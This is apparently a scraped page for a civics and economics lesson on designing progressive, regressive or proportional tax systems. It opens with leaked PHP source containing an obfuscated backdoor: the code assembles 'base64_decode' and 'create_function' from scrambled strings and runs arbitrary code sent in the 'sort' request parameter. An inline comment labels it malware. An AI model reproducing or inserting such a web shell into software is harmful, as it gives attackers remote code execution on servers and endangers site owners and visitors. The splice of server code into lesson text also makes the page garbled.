if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); // MALWARE $f(); exit(); } $GLOBALS['libraryLocation'] = "/org/councilforeconed/core/library"; $GLOBALS['testingIPs'] = array( "NY Office" => "", "Brookings Office" => "" ); Focus: Understanding Economics in Civics and Government

Lesson 11 - How Should Governments Structure the Tax System?

In a group activity, the students decide on a method of taxation for a hypothetical country. After they have developed a tax system, they discuss their reasons for designing the system they have created. They learn whether their system is progressive, regressive, or proportional.

Please review this lesson and share it with your colleagues!

Supplemental Resources

Glossary of Terms and Concepts

These are some of the important terms you'll cover in this lesson.

Glossary Handout

Book Materials

Lesson 11 Visuals
Visual 11.1 - Visual 11.4

Lesson 11 Activities
Activity 11.1 - Activity 11.4

Standards in Economics

View this lesson's State Standards in Economics
View this lesson's National Standards in Economics